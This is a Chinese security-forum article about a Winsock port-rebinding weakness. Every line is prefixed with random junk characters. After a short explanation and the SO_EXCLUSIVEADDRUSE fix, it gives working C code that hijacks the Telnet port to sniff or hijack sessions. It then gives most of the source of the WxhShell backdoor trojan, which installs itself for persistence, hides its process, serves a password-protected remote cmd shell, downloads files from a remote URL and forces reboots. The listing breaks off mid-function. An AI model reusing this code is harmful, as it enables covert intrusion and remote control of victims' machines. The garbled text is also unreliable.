在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
I-
X|- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
pjX')i< 3?GEXO&,E saddr.sin_family = AF_INET;
-kd_gbnr3 |>P`Gl]E saddr.sin_addr.s_addr = htonl(INADDR_ANY);
NI136P ~?n)1Vr| bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
r$~
f[cA O)!MWmr 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Ym*Ed[S u%=M4|7 这意味着什么?意味着可以进行如下的攻击:
rTjV/~ G#;$; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ZO $}m? d`;_~{sleR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{'#^ +kKfx! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
+9mnxU> OQON~&~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
85 tQHm6j :kDHwYv$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
RHGs(d7- 438+zU 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
9RoN,e8! BJI
R !J 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+;Jb)8 v/BMzVi #include
.q1OT> #include
48BPo,nWR #include
|:i``gFj #include
@^$Xy<x DWORD WINAPI ClientThread(LPVOID lpParam);
gs_nUgcA int main()
.^S#h
(A {
tc@([XqH WORD wVersionRequested;
AtN=G"c>_ DWORD ret;
wV;qc3 WSADATA wsaData;
"[(I* BOOL val;
J!o[/`4ib SOCKADDR_IN saddr;
|8b*BnS SOCKADDR_IN scaddr;
FU|c[u|z int err;
h@"dpmpe SOCKET s;
6*/o SOCKET sc;
H`$s63 int caddsize;
iQ9jt HANDLE mt;
<5Jp2x# DWORD tid;
0'm4
)\ wVersionRequested = MAKEWORD( 2, 2 );
ajayj|h err = WSAStartup( wVersionRequested, &wsaData );
47xJ(yO if ( err != 0 ) {
~'e/lX9g- printf("error!WSAStartup failed!\n");
}F1|&
A return -1;
J:,>/')n }
E{*~>#+ saddr.sin_family = AF_INET;
<[2]p\rj eM*@zo<- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
>*v^E9Y m1X0stFRs" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
V Z[[zYe saddr.sin_port = htons(23);
uJ4RjLM` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$g55wG F
{
f_r1(o5:Y printf("error!socket failed!\n");
a(Bo.T<2@ return -1;
Wm
nsD! }
;Bo{.916 val = TRUE;
`n]y"rj' //SO_REUSEADDR选项就是可以实现端口重绑定的
tdn[]|= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
*ws!8-)fH {
;N4b~k) printf("error!setsockopt failed!\n");
[{ak&{R,9{ return -1;
}MDu QP] }
->x+ p" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
qHfs*MBJ% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
B1oy,' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
dwKre#4F sY=fS2b#) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
_'k?9eN` {
=~% B}T ret=GetLastError();
1\q2;5 printf("error!bind failed!\n");
1q*85[Y return -1;
xQa[bvW }
m-lUgx7 listen(s,2);
Cyxt EzPp while(1)
W
:PGj0? {
cy)gN
g caddsize = sizeof(scaddr);
93yJAao9 //接受连接请求
W;coi4
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
q79)nhC F if(sc!=INVALID_SOCKET)
Z<Rz}8s {
b<qv
/t)$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ysfR@ sH7 if(mt==NULL)
<D4.kM {
?w1_.m|8u printf("Thread Creat Failed!\n");
e*e}X&|(g break;
2Av3.u8%u }
Ud0%O }
6>)]7(B<d CloseHandle(mt);
YBN.
waL }
pO$`(+q[ closesocket(s);
. \*Z: WSACleanup();
dZm>LVjG return 0;
nJny9g }
FS r`Y DWORD WINAPI ClientThread(LPVOID lpParam)
^9o;=!D!9 {
K3&v6 #] SOCKET ss = (SOCKET)lpParam;
pr.Vfb SOCKET sc;
m,v"N%k, unsigned char buf[4096];
G6xdGUM SOCKADDR_IN saddr;
TSmuNCR long num;
eP-q[U?$n DWORD val;
-c!{';Zn DWORD ret;
Y'-BKZv! //如果是隐藏端口应用的话,可以在此处加一些判断
^:K"Tv.= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!'Xk=+ saddr.sin_family = AF_INET;
zr?%k]A%UO saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%-|Po:6 saddr.sin_port = htons(23);
2"C'Au if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
LWc}j`Wd {
_r5Q%8J printf("error!socket failed!\n");
Gd`qZqx# return -1;
)JTh=w4n|z }
nI%0u<=d val = 100;
;Br8\2=$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
kssS,Ogf\_ {
g.X?wyg5 ret = GetLastError();
$BG4M?Y return -1;
;g: TsYwM }
&F[/@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X3I\O,"I {
T5&jpP`M ret = GetLastError();
QfB \h[A return -1;
f3s0.G#l }
>fI<g8N D if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
@D-l_[ {
H=z@!rJc. printf("error!socket connect failed!\n");
@"-<m|lM closesocket(sc);
%xf6U>T closesocket(ss);
ox] LlR K return -1;
|uQJMf[L) }
qr$=oCqa while(1)
s
d>&6R^ {
kg7oH.0E //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
\&]'GsfF //如果是嗅探内容的话,可以再此处进行内容分析和记录
cUaLv1:HI //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
R~CQ=KQ. num = recv(ss,buf,4096,0);
eCMcr !. if(num>0)
Gk*Mx6|N send(sc,buf,num,0);
vY<(3[pp else if(num==0)
q*TH),)J break;
"0+_P{w+ num = recv(sc,buf,4096,0);
9M:wUYHT if(num>0)
HQK%Y2S send(ss,buf,num,0);
M5HKRLt else if(num==0)
gzvEy^X break;
\i}n1Qd }
Y.3]vno?X closesocket(ss);
~!&WK,k6 closesocket(sc);
]]Ypi=<' return 0 ;
B%Dy;zdWd/ }
lz
EF^6I v&i M/pJU u }D.yI8 ==========================================================
rv1kIc5Za< 2J^6(vk 下边附上一个代码,,WXhSHELL
Axhe9!Fm }XWic88!~ ==========================================================
b-ULoV BbA>1#i5] #include "stdafx.h"
1j# ~:=I Lg[*P8wE #include <stdio.h>
Zaf] .R #include <string.h>
>5#`j+8=q #include <windows.h>
yJc<;Qx #include <winsock2.h>
a Umcs!@ #include <winsvc.h>
AtYe\_9$C #include <urlmon.h>
RD_&m?d 6*gMG3 #pragma comment (lib, "Ws2_32.lib")
C;}~C:aJ #pragma comment (lib, "urlmon.lib")
!`hjvJryw E:T<mI?d #define MAX_USER 100 // 最大客户端连接数
{N[IjY #define BUF_SOCK 200 // sock buffer
9kuL1tcY #define KEY_BUFF 255 // 输入 buffer
>,Zjlkh3 u^|XQWR$: #define REBOOT 0 // 重启
@>B#2t& #define SHUTDOWN 1 // 关机
`MlQPLH kB_G L>fc #define DEF_PORT 5000 // 监听端口
jn>3(GRGC$ #+|{l*> #define REG_LEN 16 // 注册表键长度
` QXO+'j4 #define SVC_LEN 80 // NT服务名长度
t8\F7F P )\l}i%L: // 从dll定义API
$SRpFz5y$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Yvs)H'n= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*oL?R2#7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
vXLiYWo typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
63QMv[`, f{FW7T}O2 // wxhshell配置信息
y/h~oGxy struct WSCFG {
{*ATY+ int ws_port; // 监听端口
D3$PvX[f char ws_passstr[REG_LEN]; // 口令
3bu VU&ap int ws_autoins; // 安装标记, 1=yes 0=no
e3"GC_*# char ws_regname[REG_LEN]; // 注册表键名
Yw"o_ char ws_svcname[REG_LEN]; // 服务名
%RG kXOgp char ws_svcdisp[SVC_LEN]; // 服务显示名
cjHo?m' char ws_svcdesc[SVC_LEN]; // 服务描述信息
LoSblV char ws_passmsg[SVC_LEN]; // 密码输入提示信息
zJ93EtlF int ws_downexe; // 下载执行标记, 1=yes 0=no
d5fnJ*a>l char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
fAm^-uq[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
z4b2t} rQ(Aj };
3ox%1x NA !JzM<hyg3 // default Wxhshell configuration
fchsn*R%- struct WSCFG wscfg={DEF_PORT,
Ii%^z?' "xuhuanlingzhe",
B BbGq8p 1,
A&jkc ' "Wxhshell",
]@vX4G/ "Wxhshell",
#8MA+ "WxhShell Service",
U748$%}] "Wrsky Windows CmdShell Service",
>A|(mc "Please Input Your Password: ",
YD
H!Nl 1,
XxcY "
http://www.wrsky.com/wxhshell.exe",
>N62t9Ll[ "Wxhshell.exe"
c [sydl };
UBzX%:A I'HPy.PV // 消息定义模块
Zy|B~.@<j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
D+P( char *msg_ws_prompt="\n\r? for help\n\r#>";
F{0Z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
BaZ$p O^ char *msg_ws_ext="\n\rExit.";
x^Q:U1 char *msg_ws_end="\n\rQuit.";
P}29wr IZ char *msg_ws_boot="\n\rReboot...";
8om6wALXB char *msg_ws_poff="\n\rShutdown...";
/W1!mih char *msg_ws_down="\n\rSave to ";
t6m3lq{ ?1*Ka char *msg_ws_err="\n\rErr!";
0_q8t!<xJw char *msg_ws_ok="\n\rOK!";
y^zII5|s =e](eA; char ExeFile[MAX_PATH];
h:-ZXIv? int nUser = 0;
QMLz HANDLE handles[MAX_USER];
1"YN{Ut;G int OsIsNt;
1fm4:xHH NY
756B*
SERVICE_STATUS serviceStatus;
Atc9[<~WG SERVICE_STATUS_HANDLE hServiceStatusHandle;
<K; jj_z#6{ // 函数声明
*`Swv` int Install(void);
`ltc)$ int Uninstall(void);
bc=,$ int DownloadFile(char *sURL, SOCKET wsh);
g5M=$y/H int Boot(int flag);
\@;$xdA$ void HideProc(void);
45. -P int GetOsVer(void);
v_mk{ int Wxhshell(SOCKET wsl);
`qnp void TalkWithClient(void *cs);
G
d~
v _ int CmdShell(SOCKET sock);
%c"PMTq( int StartFromService(void);
pFgpAxl int StartWxhshell(LPSTR lpCmdLine);
"BT*9N=| 5xC4lT/U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
s!,m,l[P VOID WINAPI NTServiceHandler( DWORD fdwControl );
CX?q%o2b /4/'&tY // 数据结构和表定义
.DsdQ4Y SERVICE_TABLE_ENTRY DispatchTable[] =
+ Ac.@!X}% {
~k\Dde {wscfg.ws_svcname, NTServiceMain},
}A jE- K{ {NULL, NULL}
k-IL%+U };
p[R4!if2 Q,R>dkS // 自我安装
E@ J/_l; int Install(void)
M2H +1ic {
(StX1g' char svExeFile[MAX_PATH];
60,z! Vv HKEY key;
EQI9J#;+ strcpy(svExeFile,ExeFile);
01=nS? M.fAFL
// 如果是win9x系统,修改注册表设为自启动
-!;2?6R9{ if(!OsIsNt) {
;\j7jz^uC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zU7co.G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ha~F&H|"O RegCloseKey(key);
_D~l2M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
K&ZN!VN/p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
} I>6 8dS[ RegCloseKey(key);
m}A| W[p< return 0;
TOapq9B] }
& "i4og< }
F
t/yPv
}
XSk*w'xO else {
2[|52+zhc =mR~\R(
I // 如果是NT以上系统,安装为系统服务
z]_2lx2e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
5~D(jHY; if (schSCManager!=0)
yPY}b_W {
'8%jA$o\g SC_HANDLE schService = CreateService
YTpiOPf (
JLd-{}A""- schSCManager,
&O
+?#3 wscfg.ws_svcname,
OQW%nF9~ wscfg.ws_svcdisp,
Kzw br?&z SERVICE_ALL_ACCESS,
"DaE(S& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"&Hr)yyWG SERVICE_AUTO_START,
a-e_ q SERVICE_ERROR_NORMAL,
"I)/|x\G* svExeFile,
V>Dqw! NULL,
^h\(j*/#X NULL,
#[f]-c(! NULL,
:eIi^K z[ NULL,
Z8C~o)n9 NULL
l266ufO.u- );
}1fi# if (schService!=0)
Cj%n?- {
;w/@_!~ CloseServiceHandle(schService);
8[b_E5!V CloseServiceHandle(schSCManager);
T@wgWE<0y_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
CvhVV"n strcat(svExeFile,wscfg.ws_svcname);
>$$z 6A[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
CbGfVdw/c RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
j,n\`7dD$ RegCloseKey(key);
[)+wke9 return 0;
6am
g*=] }
9xi nX-x;n }
5P Zzaz< CloseServiceHandle(schSCManager);
E5aRTDLq }
K;z$~;F }
_(zZrUHB YMN=1Zuj? return 1;
fj|b;8_}l }
|`ya+/ff+ ?(Se$iTZ // 自我卸载
OZc4 -5 int Uninstall(void)
}y%c. {
J>l?HK HKEY key;
3daI_Nx> (>
W\Nf if(!OsIsNt) {
l~]D|92 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l-Be5?|{_ RegDeleteValue(key,wscfg.ws_regname);
GO?hB4 9T RegCloseKey(key);
_aeIK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
t4iD<{4 RegDeleteValue(key,wscfg.ws_regname);
[rkw k\m* RegCloseKey(key);
!4-4i return 0;
X+1Mv }
d-3.7nJ: }
/#WvC;B }
V7b;qC' else {
Rk,'ujc beaSvhPU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=t^jlb if (schSCManager!=0)
%pIP#y[4 {
{E; bT|3z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
cJMi`PQ; if (schService!=0)
?7>"ZGDe> {
Ptz##o'{5 if(DeleteService(schService)!=0) {
FsO_|r CloseServiceHandle(schService);
q<j9l'dHG CloseServiceHandle(schSCManager);
wn^#`s!]U return 0;
ph}%Ay$ }
b'``0OB ) CloseServiceHandle(schService);
z&cM8w: }
7Db}bDU1
| CloseServiceHandle(schSCManager);
Jd^Lnp6? }
FDFwx| }
<UF0Xc&X' iC3C~?,7 return 1;
|Fz ^(US }
[^Bjmw[7 ?&'Kw>s@ // 从指定url下载文件
O\CnKNk, int DownloadFile(char *sURL, SOCKET wsh)
gu6%$z {
^,0Lr$+ HRESULT hr;
#dKy{Q3he char seps[]= "/";
/IN#1I!K char *token;
j+fib} 8} char *file;
s7afj t char myURL[MAX_PATH];
MVnN0K4 char myFILE[MAX_PATH];
2"HTD|yy ,-hbwd~M strcpy(myURL,sURL);
)Gavjj&uJ token=strtok(myURL,seps);
99.F'Gz while(token!=NULL)
_1Q6FI5iR {
w
>2sr^!y file=token;
?2l`%l5( token=strtok(NULL,seps);
a2Nxpxho }
HCsd$M;Hbv =\_gT=tZ GetCurrentDirectory(MAX_PATH,myFILE);
$[}EV(#y strcat(myFILE, "\\");
x!fG%o~h strcat(myFILE, file);
}tw+8YWkz send(wsh,myFILE,strlen(myFILE),0);
m";..V send(wsh,"...",3,0);
4e/!BGkAS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
YGC%j if(hr==S_OK)
&&m3E=K!^ return 0;
PxgJ7d else
)l$}plT4 return 1;
{aN pk,n zBlv?JwG }
^~I@]5Pq 9Q^cE\j // 系统电源模块
^P^%Q)QXl int Boot(int flag)
C+uW]]~I) {
(De{r| HANDLE hToken;
v+"4YIN TOKEN_PRIVILEGES tkp;
w8>h6x" aUzCKX%>C if(OsIsNt) {
GyWa=KW.u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
71\53Qr#U LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3ZI7;Gw tkp.PrivilegeCount = 1;
C<AW)|r_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
&n
)MGg1% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
&:g:7l]g if(flag==REBOOT) {
(z>t 4(%\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
i?Pnyi return 0;
^l|b>z"0ao }
B Z|A&; else {
&G\mcstX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
F'b%D return 0;
,#UZp\zZ* }
Jr( =Y@Z' }
4[@YF@_=M else {
] re=8s6 if(flag==REBOOT) {
E#!!tH`lgg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
_ Lb"yug return 0;
gr*CN< }
;5bd<N else {
v8*)^-Fx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
i-Rn,}v return 0;
6ki2/ Q }
^APtV6g }
EM*I%|n@m P2a5<#_| return 1;
nq]6S$3
6 }
&K\80wGK #M16qOEw // win9x进程隐藏模块
R
,qQC< void HideProc(void)
3{$7tck, {
N
o6!gZ1 d]]z ) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
o]4\Geg$ if ( hKernel != NULL )
IgG[Pr'D {
B6Kl_~gT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7bzm5w@v ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
lb.Q^TghU FreeLibrary(hKernel);
6sSwSS }
<'~m1l#2 SOhM6/ID2/ return;
^
*"f C }
^iMr't\b :rUMmO - // 获取操作系统版本
L"|Bm{Run int GetOsVer(void)
)pH+ibR {
3NtUB;! OSVERSIONINFO winfo;
cx$IWQf2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Dz: +.
@k GetVersionEx(&winfo);
&)mZ~cPU3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
>MHlrSH2 return 1;
hc3hU else
kun/KY return 0;
&rBe -52 }
&.,K@OFE} zHb[.ry~ // 客户端句柄模块
t1adS:)s int Wxhshell(SOCKET wsl)
e4tIO {
MqnUym SOCKET wsh;
0I)$!1~O) struct sockaddr_in client;
|nZ^RCHog DWORD myID;
TC?B_;a P9bM+@5e while(nUser<MAX_USER)
X ha9x, {
I "AjYv4R int nSize=sizeof(client);
^m w]u"5\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
v.Ba if(wsh==INVALID_SOCKET) return 1;
Q?k*3A {R!yw`#^B handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ZwS:Te9- if(handles[nUser]==0)
ma~#E$i& closesocket(wsh);
HrBJi else
a/j;1xcc< nUser++;
F3}MM
dX }
{h?pvH_> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
&J6`Q<U! N&NBn( return 0;
/l*v *tl }
^HSxE @.e X8~3= // 关闭 socket
R&Y_ void CloseIt(SOCKET wsh)
<
'5~p$ {
HY)xT$/J closesocket(wsh);
<:v+<)K nUser--;
8%7%[WC# ExitThread(0);
&:&89<C' }
<?nI O `I5^zi8 // 客户端请求句柄
=%X."i1A void TalkWithClient(void *cs)
^3$l!>me {
$N=&D_Q R |c=I}@F SOCKET wsh=(SOCKET)cs;
xm{]|~^JG char pwd[SVC_LEN];
OyZR&,q char cmd[KEY_BUFF];
JN0h3nZ_ char chr[1];
zuvPV{
X int i,j;
~=|}!A( N)X Tmh2v| while (nUser < MAX_USER) {
'47
b"uV hC<ROD if(wscfg.ws_passstr) {
!DZ=`a?y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
UX)GA[WI //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_Je4&KU //ZeroMemory(pwd,KEY_BUFF);
}%_|k^t i=0;
Zhq_ pus"a while(i<SVC_LEN) {
~rb0G*R> P8d // 设置超时
+~^S'6yB fd_set FdRead;
G(&[1V % x struct timeval TimeOut;
,9P-<P FD_ZERO(&FdRead);
U**8^:*y#: FD_SET(wsh,&FdRead);
"6f`hy TimeOut.tv_sec=8;
+/ukS6>gr TimeOut.tv_usec=0;
M~:_^B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
KZppQ0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
?"x4u#x C}8#yAS9M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
b(*\4n pwd
=chr[0]; E3uu vQ#|
if(chr[0]==0xd || chr[0]==0xa) { D\Ak-$kJ^
pwd=0; QL/KY G
break; A[Mke
} t?GH
V3V
i++; Z1
D
} u"v7shRp:
G^c,i5}w
// 如果是非法用户,关闭 socket v
Y[s#*+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jrib"Bh3,
} \OwF!~&
9M96$i`P
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nGF
+a[Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }_D .Hy5
g*V.u]U!i
while(1) { fkxkf^g)
1q}LO2
ZeroMemory(cmd,KEY_BUFF); V:n0BlZ,B
a"vzC$Hxd
// 自动支持客户端 telnet标准 v)5;~.+%
j=0; [6!k:-t+
while(j<KEY_BUFF) { }t)+eSUA
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jx}&%p X
cmd[j]=chr[0]; -b-a21,m>
if(chr[0]==0xa || chr[0]==0xd) { .zO^"mXjS
cmd[j]=0; n7!T{+ge
break; WPNB!"E98
} $J7V]c*-b
j++; ?2<)
Jw
} mfraw2H
"DW ~E\Y
// 下载文件 X7*F~LFrj
if(strstr(cmd,"http://")) { %SmOP sz
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .(@=L1C<}J
if(DownloadFile(cmd,wsh)) 7hk)I`o65
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |bnd92fvks
else ]v
${k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (?qCtLZ
} T)! }Wvv
else { ,&o9\|ih7]
>dAl *T
switch(cmd[0]) { 4$Ai!a
' @!&{N
// 帮助 AwJg/VBo)
case '?': { yq~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B7\4^6Tx
break; K?l|1jez(#
} TK5$-6k
// 安装 K$S0h-?9]O
case 'i': {
M^kaik
if(Install()) qYoW8e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f.g!~wGD
else Pp?P9s{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q7+WV`&
break; KMhrw s{&B
} s\ *p|vc
// 卸载 $xu2ZBK
case 'r': { | R,dsBd
if(Uninstall()) PF4[;ES'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UynGG@P@
else A;Uc&G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oiyvKMHz7
break; QytO0K5
} ?1\5X<|,
// 显示 wxhshell 所在路径 k5RzW4zq;
case 'p': { SzLlJUV X
char svExeFile[MAX_PATH]; HYl+xH'.j
strcpy(svExeFile,"\n\r"); |.; N_i
strcat(svExeFile,ExeFile); Q
8]X
send(wsh,svExeFile,strlen(svExeFile),0); i;HXz`vT7
break; WyV4p
} r9f- [wC
// 重启 S]H[&o1o
case 'b': { I"]E}n d)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YdI6|o@vc
if(Boot(REBOOT)) HS=w9:,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 29Uqdo
else { gc4o
|x
closesocket(wsh); s.z)l$
ExitThread(0); B;bP~e>W
} 'M%iS4b{IM
break; }cz58%
} /IirTmFK
// 关机 RY5e%/bg~U
case 'd': { Dk\%,[4(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IQBL;=.J.
if(Boot(SHUTDOWN)) :lu!%p<$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4f j}d.?
else { orJ|Q3c)d
closesocket(wsh); hTBJ\1
-
ExitThread(0); ]Jz=.F sO
} T)tr"<F5NP
break; [)`*k#.=
} yK{P%oh)
// 获取shell RlfI]uCDM
case 's': { {r&r^!K;
CmdShell(wsh); &wNr2PHd#
closesocket(wsh); <@7j37,R7V
ExitThread(0); QmBHD;Gf
break; %Vo'\|
} $Y/z+ea
// 退出 2K~v`c*4
case 'x': { {:cGt2*~^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $(&uaDYv
CloseIt(wsh); ^(Gl$GC$Mu
break; -Ua5anzB
} WDNj7
// 离开 fTmJDUv+
case 'q': { 3@F U-k,i
send(wsh,msg_ws_end,strlen(msg_ws_end),0); f?.}S]u5
closesocket(wsh); 5+GTK)D
WSACleanup(); @!$xSH
exit(1); [?z;'O}y
break; Va[&~lA)
} 7gtaI3
} #W:.Fsq
} ~U<j_j)z4.
#cR5k@
// 提示信息 41R~.?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X>dQK4!R
} 2Jo|P A`9
} (ht"wY#T<(
hj=n;,a9
return; covCa )kf
} z%fjG} z
i(rYc
// shell模块句柄 ?(s9dS,7wZ
int CmdShell(SOCKET sock) Jn(|.eT|
{ D[T\_3W
STARTUPINFO si; L{sFR^-G
ZeroMemory(&si,sizeof(si)); HmXxM:[4;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pDC`Fi
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i{g~u<DH)Q
PROCESS_INFORMATION ProcessInfo; oKRI2ni$j9
char cmdline[]="cmd"; k8Dk;N
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); } %3;j5 ;6
return 0; 9'X "a
} g9GPyU
=j_4!^
// 自身启动模式 !rx5i
int StartFromService(void) nJH'^rO!C
{ ;&b=>kPlZ
typedef struct m%U=:u7#M
{ .:-*89c
DWORD ExitStatus; i39_( )X
DWORD PebBaseAddress; k]4CN
DWORD AffinityMask; z'Bvjul
